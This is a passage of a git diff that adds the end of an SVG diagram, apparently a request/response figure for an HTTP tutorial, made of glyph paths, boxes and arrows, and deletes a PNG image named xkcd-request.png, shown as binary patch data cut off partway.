+<path style="stroke:none;" d="M 1.28125 -9.03125 L 2.578125 -9.03125 L 2.578125 0 L 1.28125 0 Z M 1.046875 -11.78125 C 1.046875 -12.0625 1.125 -12.289062 1.28125 -12.46875 C 1.445312 -12.65625 1.664062 -12.75 1.9375 -12.75 C 2.195312 -12.75 2.414062 -12.660156 2.59375 -12.484375 C 2.769531 -12.316406 2.859375 -12.082031 2.859375 -11.78125 C 2.859375 -11.488281 2.769531 -11.257812 2.59375 -11.09375 C 2.414062 -10.9375 2.195312 -10.859375 1.9375 -10.859375 C 1.664062 -10.859375 1.445312 -10.941406 1.28125 -11.109375 C 1.125 -11.273438 1.046875 -11.5 1.046875 -11.78125 Z M 1.046875 -11.78125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-18">
+<path style="stroke:none;" d="M 2.21875 -3.203125 C 2.1875 -3.722656 2.21875 -4.1875 2.3125 -4.59375 C 2.414062 -5.007812 2.554688 -5.390625 2.734375 -5.734375 C 2.921875 -6.078125 3.117188 -6.398438 3.328125 -6.703125 C 3.546875 -7.003906 3.75 -7.3125 3.9375 -7.625 C 4.132812 -7.945312 4.296875 -8.285156 4.421875 -8.640625 C 4.546875 -8.992188 4.609375 -9.394531 4.609375 -9.84375 C 4.609375 -10.394531 4.488281 -10.835938 4.25 -11.171875 C 4.007812 -11.515625 3.597656 -11.6875 3.015625 -11.6875 C 2.671875 -11.6875 2.328125 -11.625 1.984375 -11.5 C 1.648438 -11.375 1.347656 -11.210938 1.078125 -11.015625 L 0.578125 -12.03125 C 0.941406 -12.269531 1.335938 -12.46875 1.765625 -12.625 C 2.191406 -12.78125 2.710938 -12.859375 3.328125 -12.859375 C 4.191406 -12.859375 4.84375 -12.601562 5.28125 -12.09375 C 5.726562 -11.59375 5.953125 -10.90625 5.953125 -10.03125 C 5.953125 -9.507812 5.882812 -9.039062 5.75 -8.625 C 5.625 -8.21875 5.460938 -7.84375 5.265625 -7.5 C 5.078125 -7.15625 4.867188 -6.828125 4.640625 -6.515625 C 4.410156 -6.203125 4.195312 -5.878906 4 -5.546875 C 3.800781 -5.222656 3.632812 -4.867188 3.5 -4.484375 C 3.375 -4.109375 3.3125 -3.679688 3.3125 -3.203125 Z M 1.953125 -0.8125 C 1.953125 -1.144531 2.03125 -1.394531 2.1875 -1.5625 C 2.351562 -1.738281 2.578125 -1.828125 2.859375 -1.828125 C 3.128906 -1.828125 3.34375 -1.738281 3.5 -1.5625 C 3.664062 -1.394531 3.75 -1.144531 3.75 -0.8125 C 3.75 -0.457031 3.664062 -0.195312 3.5 -0.03125 C 3.34375 0.132812 3.128906 0.21875 2.859375 0.21875 C 2.578125 0.21875 2.351562 0.132812 2.1875 -0.03125 C 2.03125 -0.195312 1.953125 -0.457031 1.953125 -0.8125 Z M 1.953125 -0.8125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-19">
+<path style="stroke:none;" d="M 1.0625 -1.6875 C 1.289062 -1.519531 1.613281 -1.367188 2.03125 -1.234375 C 2.445312 -1.097656 2.921875 -1.03125 3.453125 -1.03125 C 4.128906 -1.03125 4.675781 -1.191406 5.09375 -1.515625 C 5.507812 -1.847656 5.71875 -2.375 5.71875 -3.09375 C 5.71875 -3.5625 5.597656 -3.96875 5.359375 -4.3125 C 5.117188 -4.664062 4.816406 -4.988281 4.453125 -5.28125 C 4.097656 -5.570312 3.710938 -5.859375 3.296875 -6.140625 C 2.878906 -6.429688 2.488281 -6.75 2.125 -7.09375 C 1.769531 -7.4375 1.46875 -7.828125 1.21875 -8.265625 C 0.976562 -8.710938 0.859375 -9.25 0.859375 -9.875 C 0.859375 -10.882812 1.160156 -11.632812 1.765625 -12.125 C 2.378906 -12.613281 3.175781 -12.859375 4.15625 -12.859375 C 4.757812 -12.859375 5.296875 -12.800781 5.765625 -12.6875 C 6.234375 -12.582031 6.613281 -12.445312 6.90625 -12.28125 L 6.46875 -11.09375 C 6.25 -11.226562 5.9375 -11.347656 5.53125 -11.453125 C 5.132812 -11.554688 4.671875 -11.609375 4.140625 -11.609375 C 3.484375 -11.609375 3 -11.445312 2.6875 -11.125 C 2.375 -10.8125 2.21875 -10.414062 2.21875 -9.9375 C 2.21875 -9.507812 2.335938 -9.132812 2.578125 -8.8125 C 2.816406 -8.488281 3.117188 -8.179688 3.484375 -7.890625 C 3.847656 -7.597656 4.238281 -7.304688 4.65625 -7.015625 C 5.070312 -6.722656 5.457031 -6.394531 5.8125 -6.03125 C 6.175781 -5.664062 6.476562 -5.253906 6.71875 -4.796875 C 6.957031 -4.347656 7.078125 -3.804688 7.078125 -3.171875 C 7.078125 -2.117188 6.765625 -1.289062 6.140625 -0.6875 C 5.515625 -0.0820312 4.628906 0.21875 3.484375 0.21875 C 2.765625 0.21875 2.171875 0.148438 1.703125 0.015625 C 1.242188 -0.117188 0.875 -0.269531 0.59375 -0.4375 Z M 1.0625 -1.6875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-20">
+<path style="stroke:none;" d="M 2.234375 -9.03125 L 2.234375 -3.5 C 2.234375 -2.582031 2.328125 -1.925781 2.515625 -1.53125 C 2.703125 -1.144531 3.046875 -0.953125 3.546875 -0.953125 C 3.796875 -0.953125 4.019531 -1.003906 4.21875 -1.109375 C 4.414062 -1.210938 4.59375 -1.347656 4.75 -1.515625 C 4.90625 -1.679688 5.039062 -1.875 5.15625 -2.09375 C 5.28125 -2.3125 5.378906 -2.535156 5.453125 -2.765625 L 5.453125 -9.03125 L 6.75 -9.03125 L 6.75 -2.5625 C 6.75 -2.132812 6.765625 -1.6875 6.796875 -1.21875 C 6.828125 -0.757812 6.875 -0.351562 6.9375 0 L 6.015625 0 L 5.6875 -1.265625 L 5.640625 -1.265625 C 5.429688 -0.867188 5.132812 -0.519531 4.75 -0.21875 C 4.363281 0.0703125 3.882812 0.21875 3.3125 0.21875 C 2.925781 0.21875 2.585938 0.164062 2.296875 0.0625 C 2.003906 -0.03125 1.753906 -0.203125 1.546875 -0.453125 C 1.347656 -0.703125 1.195312 -1.046875 1.09375 -1.484375 C 0.988281 -1.929688 0.9375 -2.492188 0.9375 -3.171875 L 0.9375 -9.03125 Z M 2.234375 -9.03125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-21">
+<path style="stroke:none;" d="M 1.0625 -9.03125 L 1.984375 -9.03125 L 2.21875 -8.078125 L 2.28125 -8.078125 C 2.445312 -8.421875 2.664062 -8.691406 2.9375 -8.890625 C 3.207031 -9.085938 3.535156 -9.1875 3.921875 -9.1875 C 4.191406 -9.1875 4.503906 -9.132812 4.859375 -9.03125 L 4.609375 -7.71875 C 4.296875 -7.820312 4.019531 -7.875 3.78125 -7.875 C 3.394531 -7.875 3.078125 -7.757812 2.828125 -7.53125 C 2.585938 -7.3125 2.429688 -7.015625 2.359375 -6.640625 L 2.359375 0 L 1.0625 0 Z M 1.0625 -9.03125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-22">
+<path style="stroke:none;" d="M 5.6875 0 L 5.6875 -5.484375 C 5.6875 -6.328125 5.585938 -6.96875 5.390625 -7.40625 C 5.191406 -7.851562 4.796875 -8.078125 4.203125 -8.078125 C 3.785156 -8.078125 3.40625 -7.925781 3.0625 -7.625 C 2.71875 -7.320312 2.484375 -6.941406 2.359375 -6.484375 L 2.359375 0 L 1.0625 0 L 1.0625 -12.640625 L 2.359375 -12.640625 L 2.359375 -8.1875 L 2.421875 -8.1875 C 2.660156 -8.5 2.957031 -8.753906 3.3125 -8.953125 C 3.664062 -9.148438 4.109375 -9.25 4.640625 -9.25 C 5.035156 -9.25 5.378906 -9.191406 5.671875 -9.078125 C 5.972656 -8.972656 6.21875 -8.785156 6.40625 -8.515625 C 6.601562 -8.253906 6.75 -7.90625 6.84375 -7.46875 C 6.9375 -7.03125 6.984375 -6.484375 6.984375 -5.828125 L 6.984375 0 Z M 5.6875 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-23">
+<path style="stroke:none;" d="M 1.0625 -9.03125 L 1.984375 -9.03125 L 2.1875 -8.0625 L 2.265625 -8.0625 C 2.703125 -8.851562 3.398438 -9.25 4.359375 -9.25 C 5.304688 -9.25 6.015625 -8.890625 6.484375 -8.171875 C 6.960938 -7.460938 7.203125 -6.304688 7.203125 -4.703125 C 7.203125 -3.941406 7.125 -3.253906 6.96875 -2.640625 C 6.8125 -2.035156 6.585938 -1.519531 6.296875 -1.09375 C 6.015625 -0.664062 5.664062 -0.335938 5.25 -0.109375 C 4.832031 0.109375 4.367188 0.21875 3.859375 0.21875 C 3.515625 0.21875 3.238281 0.195312 3.03125 0.15625 C 2.832031 0.113281 2.609375 0.0234375 2.359375 -0.109375 L 2.359375 3.609375 L 1.0625 3.609375 Z M 2.359375 -1.421875 C 2.535156 -1.273438 2.726562 -1.160156 2.9375 -1.078125 C 3.144531 -0.992188 3.425781 -0.953125 3.78125 -0.953125 C 4.414062 -0.953125 4.921875 -1.273438 5.296875 -1.921875 C 5.671875 -2.578125 5.859375 -3.507812 5.859375 -4.71875 C 5.859375 -5.21875 5.820312 -5.671875 5.75 -6.078125 C 5.6875 -6.492188 5.582031 -6.847656 5.4375 -7.140625 C 5.289062 -7.441406 5.101562 -7.671875 4.875 -7.828125 C 4.65625 -7.992188 4.382812 -8.078125 4.0625 -8.078125 C 3.1875 -8.078125 2.617188 -7.539062 2.359375 -6.46875 Z M 2.359375 -1.421875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-24">
+<path style="stroke:none;" d="M 6.75 0.421875 C 6.75 1.585938 6.488281 2.445312 5.96875 3 C 5.457031 3.550781 4.707031 3.828125 3.71875 3.828125 C 3.113281 3.828125 2.617188 3.773438 2.234375 3.671875 C 1.847656 3.566406 1.535156 3.453125 1.296875 3.328125 L 1.6875 2.203125 C 1.925781 2.304688 2.1875 2.40625 2.46875 2.5 C 2.757812 2.601562 3.117188 2.65625 3.546875 2.65625 C 4.273438 2.65625 4.773438 2.445312 5.046875 2.03125 C 5.316406 1.625 5.453125 0.941406 5.453125 -0.015625 L 5.453125 -0.6875 L 5.40625 -0.6875 C 5.207031 -0.40625 4.957031 -0.1875 4.65625 -0.03125 C 4.351562 0.125 3.96875 0.203125 3.5 0.203125 C 2.53125 0.203125 1.816406 -0.171875 1.359375 -0.921875 C 0.898438 -1.679688 0.671875 -2.867188 0.671875 -4.484375 C 0.671875 -6.035156 0.96875 -7.207031 1.5625 -8 C 2.15625 -8.789062 3.035156 -9.1875 4.203125 -9.1875 C 4.773438 -9.1875 5.265625 -9.132812 5.671875 -9.03125 C 6.078125 -8.925781 6.4375 -8.800781 6.75 -8.65625 Z M 5.453125 -7.734375 C 5.085938 -7.921875 4.625 -8.015625 4.0625 -8.015625 C 3.445312 -8.015625 2.953125 -7.734375 2.578125 -7.171875 C 2.203125 -6.617188 2.015625 -5.726562 2.015625 -4.5 C 2.015625 -3.988281 2.046875 -3.519531 2.109375 -3.09375 C 2.171875 -2.664062 2.273438 -2.289062 2.421875 -1.96875 C 2.566406 -1.65625 2.75 -1.410156 2.96875 -1.234375 C 3.195312 -1.054688 3.472656 -0.96875 3.796875 -0.96875 C 4.253906 -0.96875 4.613281 -1.085938 4.875 -1.328125 C 5.144531 -1.578125 5.335938 -1.941406 5.453125 -2.421875 Z M 5.453125 -7.734375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-25">
+<path style="stroke:none;" d="M 7.828125 -11.390625 L 4.71875 -11.390625 L 4.71875 0 L 3.359375 0 L 3.359375 -11.390625 L 0.25 -11.390625 L 0.25 -12.640625 L 7.828125 -12.640625 Z M 7.828125 -11.390625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-26">
+<path style="stroke:none;" d="M 9 -8.3125 L 9.15625 -10.21875 L 9.078125 -10.21875 L 8.5 -8.4375 L 5.953125 -2.9375 L 5.515625 -2.9375 L 2.828125 -8.4375 L 2.28125 -10.21875 L 2.203125 -10.21875 L 2.453125 -8.3125 L 2.453125 0 L 1.15625 0 L 1.15625 -12.640625 L 2.296875 -12.640625 L 5.34375 -6.4375 L 5.796875 -4.953125 L 5.828125 -4.953125 L 6.265625 -6.453125 L 9.15625 -12.640625 L 10.34375 -12.640625 L 10.34375 0 L 9 0 Z M 9 -8.3125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-27">
+<path style="stroke:none;" d="M 7.25 0 L 1.15625 0 L 1.15625 -12.640625 L 2.515625 -12.640625 L 2.515625 -1.25 L 7.25 -1.25 Z M 7.25 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-28">
+<path style="stroke:none;" d="M 0.703125 -0.8125 C 0.703125 -1.144531 0.78125 -1.394531 0.9375 -1.5625 C 1.101562 -1.738281 1.328125 -1.828125 1.609375 -1.828125 C 1.878906 -1.828125 2.097656 -1.738281 2.265625 -1.5625 C 2.429688 -1.394531 2.515625 -1.144531 2.515625 -0.8125 C 2.515625 -0.457031 2.429688 -0.195312 2.265625 -0.03125 C 2.097656 0.132812 1.878906 0.21875 1.609375 0.21875 C 1.328125 0.21875 1.101562 0.132812 0.9375 -0.03125 C 0.78125 -0.195312 0.703125 -0.457031 0.703125 -0.8125 Z M 0.703125 -0.8125 "/>
+</symbol>
+</g>
+</defs>
+<g id="surface5429">
+<rect x="0" y="0" width="525" height="301" style="fill:rgb(100%,100%,100%);fill-opacity:1;stroke:none;"/>
+<path style="fill-rule:evenodd;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(100%,100%,100%);stroke-opacity:1;stroke-miterlimit:10;" d="M 7 6 L 33.2 6 L 33.2 21 L 7 21 Z M 7 6 " transform="matrix(20,0,0,20,-139,-119)"/>
+<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 8.3 7 C 8.134375 7 8 7.134375 8 7.3 L 8 8.7 C 8 8.865625 8.134375 9 8.3 9 L 13.7 9 C 13.865625 9 14 8.865625 14 8.7 L 14 7.3 C 14 7.134375 13.865625 7 13.7 7 Z M 8.3 7 " transform="matrix(20,0,0,20,-139,-119)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-1" x="52.816406" y="49.00217"/>
+  <use xlink:href="#glyph0-2" x="62.260851" y="49.00217"/>
+  <use xlink:href="#glyph0-3" x="67.816406" y="49.00217"/>
+  <use xlink:href="#glyph0-4" x="76.427517" y="49.00217"/>
+  <use xlink:href="#glyph0-5" x="88.371962" y="49.00217"/>
+  <use xlink:href="#glyph0-6" x="95.316406" y="49.00217"/>
+  <use xlink:href="#glyph0-2" x="103.64974" y="49.00217"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 22.3 7 C 22.134375 7 22 7.134375 22 7.3 L 22 8.7 C 22 8.865625 22.134375 9 22.3 9 L 27.7 9 C 27.865625 9 28 8.865625 28 8.7 L 28 7.3 C 28 7.134375 27.865625 7 27.7 7 Z M 22.3 7 " transform="matrix(20,0,0,20,-139,-119)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-7" x="321.429688" y="49.00217"/>
+  <use xlink:href="#glyph0-8" x="329.763021" y="49.00217"/>
+  <use xlink:href="#glyph0-9" x="337.540799" y="49.00217"/>
+  <use xlink:href="#glyph0-10" x="344.763021" y="49.00217"/>
+  <use xlink:href="#glyph0-11" x="353.65191" y="49.00217"/>
+  <use xlink:href="#glyph0-5" x="358.096354" y="49.00217"/>
+  <use xlink:href="#glyph0-6" x="365.040799" y="49.00217"/>
+  <use xlink:href="#glyph0-2" x="373.374132" y="49.00217"/>
+  <use xlink:href="#glyph0-12" x="378.929688" y="49.00217"/>
+  <use xlink:href="#glyph0-6" x="386.707465" y="49.00217"/>
+  <use xlink:href="#glyph0-2" x="395.040799" y="49.00217"/>
+</g>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 11 9 L 11 18 " transform="matrix(20,0,0,20,-139,-119)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 25 9 L 25 18 " transform="matrix(20,0,0,20,-139,-119)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 11 11 L 24.45 11 " transform="matrix(20,0,0,20,-139,-119)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 24.45 11.25 L 24.95 11 L 24.45 10.75 Z M 24.45 11.25 " transform="matrix(20,0,0,20,-139,-119)"/>
+<path style=" stroke:none;fill-rule:evenodd;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 130.550781 75.601562 L 311.449219 75.601562 L 311.449219 99 L 130.550781 99 Z M 130.550781 75.601562 "/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-1" x="130.726562" y="94.008681"/>
+  <use xlink:href="#glyph1-2" x="140.448785" y="94.008681"/>
+  <use xlink:href="#glyph1-3" x="147.671007" y="94.008681"/>
+  <use xlink:href="#glyph1-4" x="154.337674" y="94.008681"/>
+  <use xlink:href="#glyph1-5" x="158.782118" y="94.008681"/>
+  <use xlink:href="#glyph1-6" x="162.671007" y="94.008681"/>
+  <use xlink:href="#glyph1-7" x="170.726562" y="94.008681"/>
+  <use xlink:href="#glyph1-8" x="177.948785" y="94.008681"/>
+  <use xlink:href="#glyph1-5" x="186.00434" y="94.008681"/>
+  <use xlink:href="#glyph1-9" x="189.893229" y="94.008681"/>
+  <use xlink:href="#glyph1-5" x="194.059896" y="94.008681"/>
+  <use xlink:href="#glyph1-10" x="197.948785" y="94.008681"/>
+  <use xlink:href="#glyph1-2" x="204.059896" y="94.008681"/>
+  <use xlink:href="#glyph1-2" x="211.282118" y="94.008681"/>
+  <use xlink:href="#glyph1-5" x="218.782118" y="94.008681"/>
+  <use xlink:href="#glyph1-11" x="222.671007" y="94.008681"/>
+  <use xlink:href="#glyph1-12" x="227.393229" y="94.008681"/>
+  <use xlink:href="#glyph1-13" x="235.171007" y="94.008681"/>
+  <use xlink:href="#glyph1-7" x="242.948785" y="94.008681"/>
+  <use xlink:href="#glyph1-3" x="250.171007" y="94.008681"/>
+  <use xlink:href="#glyph1-14" x="256.837674" y="94.008681"/>
+  <use xlink:href="#glyph1-10" x="259.059896" y="94.008681"/>
+  <use xlink:href="#glyph1-5" x="265.171007" y="94.008681"/>
+  <use xlink:href="#glyph1-15" x="269.059896" y="94.008681"/>
+  <use xlink:href="#glyph1-12" x="275.171007" y="94.008681"/>
+  <use xlink:href="#glyph1-16" x="282.948785" y="94.008681"/>
+  <use xlink:href="#glyph1-17" x="294.615451" y="94.008681"/>
+  <use xlink:href="#glyph1-15" x="298.50434" y="94.008681"/>
+  <use xlink:href="#glyph1-18" x="304.893229" y="94.008681"/>
+</g>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 11.55 16 L 25 16 " transform="matrix(20,0,0,20,-139,-119)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 11.55 15.75 L 11.05 16 L 11.55 16.25 Z M 11.55 15.75 " transform="matrix(20,0,0,20,-139,-119)"/>
+<path style=" stroke:none;fill-rule:evenodd;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 126.449219 175.601562 L 315.550781 175.601562 L 315.550781 199 L 126.449219 199 Z M 126.449219 175.601562 "/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-19" x="126.292969" y="194.008681"/>
+  <use xlink:href="#glyph1-20" x="134.070747" y="194.008681"/>
+  <use xlink:href="#glyph1-21" x="141.848524" y="194.008681"/>
+  <use xlink:href="#glyph1-2" x="146.848524" y="194.008681"/>
+  <use xlink:href="#glyph1-4" x="154.348524" y="194.008681"/>
+  <use xlink:href="#glyph1-5" x="158.792969" y="194.008681"/>
+  <use xlink:href="#glyph1-1" x="162.681858" y="194.008681"/>
+  <use xlink:href="#glyph1-2" x="172.40408" y="194.008681"/>
+  <use xlink:href="#glyph1-21" x="179.90408" y="194.008681"/>
+  <use xlink:href="#glyph1-2" x="184.90408" y="194.008681"/>
+  <use xlink:href="#glyph1-14" x="192.126302" y="194.008681"/>
+  <use xlink:href="#glyph1-10" x="194.348524" y="194.008681"/>
+  <use xlink:href="#glyph1-5" x="200.459635" y="194.008681"/>
+  <use xlink:href="#glyph1-11" x="204.348524" y="194.008681"/>
+  <use xlink:href="#glyph1-22" x="209.348524" y="194.008681"/>
+  <use xlink:href="#glyph1-7" x="217.40408" y="194.008681"/>
+  <use xlink:href="#glyph1-11" x="224.626302" y="194.008681"/>
+  <use xlink:href="#glyph1-5" x="229.626302" y="194.008681"/>
+  <use xlink:href="#glyph1-23" x="233.515191" y="194.008681"/>
+  <use xlink:href="#glyph1-7" x="241.292969" y="194.008681"/>
+  <use xlink:href="#glyph1-24" x="248.515191" y="194.008681"/>
+  <use xlink:href="#glyph1-2" x="256.292969" y="194.008681"/>
+  <use xlink:href="#glyph1-14" x="263.515191" y="194.008681"/>
+  <use xlink:href="#glyph1-10" x="265.737413" y="194.008681"/>
+  <use xlink:href="#glyph1-5" x="271.848524" y="194.008681"/>
+  <use xlink:href="#glyph1-1" x="275.737413" y="194.008681"/>
+  <use xlink:href="#glyph1-25" x="285.459635" y="194.008681"/>
+  <use xlink:href="#glyph1-26" x="293.515191" y="194.008681"/>
+  <use xlink:href="#glyph1-27" x="304.90408" y="194.008681"/>
+  <use xlink:href="#glyph1-28" x="312.40408" y="194.008681"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 24.3 12 C 24.134375 12 24 12.134375 24 12.3 L 24 14.885352 C 24 15.050977 24.134375 15.185352 24.3 15.185352 L 32.001172 15.185352 C 32.166992 15.185352 32.301172 15.050977 32.301172 14.885352 L 32.301172 12.3 C 32.301172 12.134375 32.166992 12 32.001172 12 Z M 24.3 12 " transform="matrix(20,0,0,20,-139,-119)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-13" x="369.441406" y="148.154514"/>
+  <use xlink:href="#glyph0-6" x="378.052517" y="148.154514"/>
+  <use xlink:href="#glyph0-2" x="386.385851" y="148.154514"/>
+  <use xlink:href="#glyph0-12" x="391.941406" y="148.154514"/>
+  <use xlink:href="#glyph0-6" x="399.719184" y="148.154514"/>
+  <use xlink:href="#glyph0-2" x="408.052517" y="148.154514"/>
+  <use xlink:href="#glyph0-11" x="413.608073" y="148.154514"/>
+  <use xlink:href="#glyph0-14" x="418.052517" y="148.154514"/>
+  <use xlink:href="#glyph0-2" x="426.941406" y="148.154514"/>
+  <use xlink:href="#glyph0-6" x="432.496962" y="148.154514"/>
+  <use xlink:href="#glyph0-14" x="440.830295" y="148.154514"/>
+  <use xlink:href="#glyph0-15" x="449.719184" y="148.154514"/>
+  <use xlink:href="#glyph0-2" x="457.77474" y="148.154514"/>
+  <use xlink:href="#glyph0-6" x="463.330295" y="148.154514"/>
+  <use xlink:href="#glyph0-5" x="471.663628" y="148.154514"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-16" x="365.828125" y="173.556858"/>
+  <use xlink:href="#glyph0-17" x="371.383681" y="173.556858"/>
+  <use xlink:href="#glyph0-6" x="380.272569" y="173.556858"/>
+  <use xlink:href="#glyph0-11" x="388.605903" y="173.556858"/>
+  <use xlink:href="#glyph0-14" x="393.050347" y="173.556858"/>
+  <use xlink:href="#glyph0-15" x="401.939236" y="173.556858"/>
+  <use xlink:href="#glyph0-18" x="409.994792" y="173.556858"/>
+  <use xlink:href="#glyph0-6" x="418.883681" y="173.556858"/>
+  <use xlink:href="#glyph0-19" x="426.939236" y="173.556858"/>
+  <use xlink:href="#glyph0-5" x="429.439236" y="173.556858"/>
+  <use xlink:href="#glyph0-11" x="436.383681" y="173.556858"/>
+  <use xlink:href="#glyph0-20" x="440.828125" y="173.556858"/>
+  <use xlink:href="#glyph0-21" x="451.661458" y="173.556858"/>
+  <use xlink:href="#glyph0-22" x="460.828125" y="173.556858"/>
+  <use xlink:href="#glyph0-23" x="473.883681" y="173.556858"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 8.3 18 C 8.134375 18 8 18.134375 8 18.3 L 8 19.7 C 8 19.865625 8.134375 20 8.3 20 L 13.7 20 C 13.865625 20 14 19.865625 14 19.7 L 14 18.3 C 14 18.134375 13.865625 18 13.7 18 Z M 8.3 18 " transform="matrix(20,0,0,20,-139,-119)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-1" x="52.816406" y="269.00217"/>
+  <use xlink:href="#glyph0-2" x="62.260851" y="269.00217"/>
+  <use xlink:href="#glyph0-3" x="67.816406" y="269.00217"/>
+  <use xlink:href="#glyph0-4" x="76.427517" y="269.00217"/>
+  <use xlink:href="#glyph0-5" x="88.371962" y="269.00217"/>
+  <use xlink:href="#glyph0-6" x="95.316406" y="269.00217"/>
+  <use xlink:href="#glyph0-2" x="103.64974" y="269.00217"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 22.3 18 C 22.134375 18 22 18.134375 22 18.3 L 22 19.7 C 22 19.865625 22.134375 20 22.3 20 L 27.7 20 C 27.865625 20 28 19.865625 28 19.7 L 28 18.3 C 28 18.134375 27.865625 18 27.7 18 Z M 22.3 18 " transform="matrix(20,0,0,20,-139,-119)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-7" x="321.429688" y="269.00217"/>
+  <use xlink:href="#glyph0-8" x="329.763021" y="269.00217"/>
+  <use xlink:href="#glyph0-9" x="337.540799" y="269.00217"/>
+  <use xlink:href="#glyph0-10" x="344.763021" y="269.00217"/>
+  <use xlink:href="#glyph0-11" x="353.65191" y="269.00217"/>
+  <use xlink:href="#glyph0-5" x="358.096354" y="269.00217"/>
+  <use xlink:href="#glyph0-6" x="365.040799" y="269.00217"/>
+  <use xlink:href="#glyph0-2" x="373.374132" y="269.00217"/>
+  <use xlink:href="#glyph0-12" x="378.929688" y="269.00217"/>
+  <use xlink:href="#glyph0-6" x="386.707465" y="269.00217"/>
+  <use xlink:href="#glyph0-2" x="395.040799" y="269.00217"/>
+</g>
+</g>
+</svg>
diff --git a/_images/http/xkcd-request.png b/_images/http/xkcd-request.png
deleted file mode 100644
index 310713d304cff080a6df17ad715f5b33aa4e5b16..0000000000000000000000000000000000000000
GIT binary patch
literal 0
HcmV?d00001

literal 6991
zcmV-V8?fYwP)<h;3K|Lk000e1NJLTq00Ei+006cK0{{R3*TK7}0002|P)t-s|Ns90
z008^@`*(MD3kwVF?d@h}W(EcZA|fJHRaMN)%$S&%5D*YRKtO<ifJaA1s;a7;ot^gf
z_Pe{g`1trlL_|6|Iu{ogGBPq78yl3Alxb;cQ&Uq}Sy@U-O2fm$t*xzyh=?^cHK(Vi
zgM)(;6BG0E^Ll!EbaZsb$HylpC(+T-Y;0`Q)YOKChG1Y|-QC^W+uQN+@xQ;nwzjq|
zE-r6xZ(CbiO-)U+v$K7DedFWfp`oF#udk$}q}SKiJv}|(;NX#wkx)=jjg5`(@9&F?
zi*a#r=H}*OV`Cp5AGo-<_4V~DD=X^i>ged`&d$zVU0vnn<+{4Mu4r#c000^eNkl<Z
zc-rjTX;bP*6b9h;B!O&%ecxBvL{xS}WD{`L@&Esq30%DbDj+(kzH@o1^aGW$(&sdt
zw!3q%x3{;qx3{;qx3{;qx3{;qx3{<V_i-0fqui6N=PyV;%L`HektFHP?@xL>vTP3V
z?Zim!*jp~8bZm0tuW|5bALYu?WKGIg=#?IwYpLM(dgOA5KN>jf)%?Z7mO*h2I_I&{
z*#S0sOnXI=G`XH0s9k&2_2$NIw>wmIkT~LV=CVBW^!#^v?r6>uDEPIgY_9W(AnS?Z
z^k7tqX9r)-$<bBMM|9nj53RwD9vkIV-sOthQ))25A706NpO$<g5eb32Ub9@c4%P<b
